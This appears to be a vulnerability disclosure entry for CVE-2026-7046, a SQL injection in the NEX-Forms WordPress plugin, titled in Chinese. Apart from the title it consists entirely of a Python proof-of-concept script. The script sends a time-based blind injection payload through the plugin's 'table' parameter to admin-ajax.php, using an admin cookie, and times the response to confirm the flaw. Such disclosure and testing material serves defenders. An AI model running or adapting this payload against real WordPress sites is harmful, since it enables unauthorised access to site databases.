CVE-2026-7046: NEX-Forms插件SQL注入漏洞

import requests # Target URL (Example) target_url = "http://example.com/wp-admin/admin-ajax.php" # Authentication cookie for an admin user cookies = { "wordpress_logged_in_xxx": "admin_cookie_value" } # Payload demonstrating time-based blind SQL injection # The 'table' parameter is vulnerable and lacks escaping # Using SLEEP(5) to delay response if injection is successful payload_data = { "action": "nex_forms_dashboard_action", "table": "wp_existing_table WHERE 1=1 AND SLEEP(5)-- -" } try: response = requests.post(target_url, data=payload_data, cookies=cookies, timeout=10) # Check if the request took longer than expected due to SLEEP(5) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: Response delayed by SQL injection.") else: print("[-] Vulnerability not detected or payload incorrect.") except requests.exceptions.RequestException as e: print(f"Error occurred: {e}")